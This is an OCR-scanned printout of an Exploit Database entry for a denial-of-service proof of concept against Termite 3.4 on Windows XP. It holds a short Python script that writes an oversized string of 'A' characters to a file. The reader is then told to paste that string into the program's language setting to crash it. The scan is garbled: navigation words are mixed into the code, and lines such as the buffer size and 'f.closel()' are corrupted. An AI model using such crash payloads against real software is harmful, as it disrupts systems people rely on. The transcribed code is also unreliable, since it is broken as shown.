5/6/26, 8:49 PM Termite 3.4 - Denial of Service (PoC) - Windows_x86 dos Exploit

ﬂ@ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

https://www.exploit-db.com/exploits/45453 1/3


https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

5/6/26, 8:49 PM

%’ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

https://www.exploit-db.com/exploits/45453

Termite 3.4 - Denial of Service (PoC) - Windows_x86 dos Exploit

Termite 3.4 - Denial of Service (PoC)

EDB-ID:

45453

Author:

ABDULLAH ALIC

Platform:
WINDOWS_X86

EDB Verified: ./

Exploit: & _/ {}

Vulnerable App:

CVE:

N/A

Type:

DOS

Date:

2018-09-24
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# Exploit Title: Termite 3.4 - Denial of Service (PoC)
# Author: Abdullah Alig
# Discovey Date: 2018-09-23
i # Vendor notified : 2018-09-24
# Homepage: https://www.compuphase.com
# Software Link: https://www.compuphase.com/software termite.htm
# Tested Version: 3.4
# Tested on 0S: Windows XP Professional sp3 (ENG)
PAPERS # Steps to Reproduce: Run the python exploit script, it will create a new
file
# file with the name "boom.txt". Copy the content of the new file
SHELLCODES "boom.txt".

# Start termite 3.4 terminal click "Settings" Paste the content into field
"User interface langauge" click "OK"

SEARCH EDB #!/usr/bin/python

SEARCHSPLOIT MANUAL bUffer = "A" ¥ 20@0

payload = buffer

SUBMISSIONS try:

f=open("boom.txt", "w")

print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)

ONLINE TRAINING f.closel()
print "[+] File created!"
except:

print "File cannot be created"
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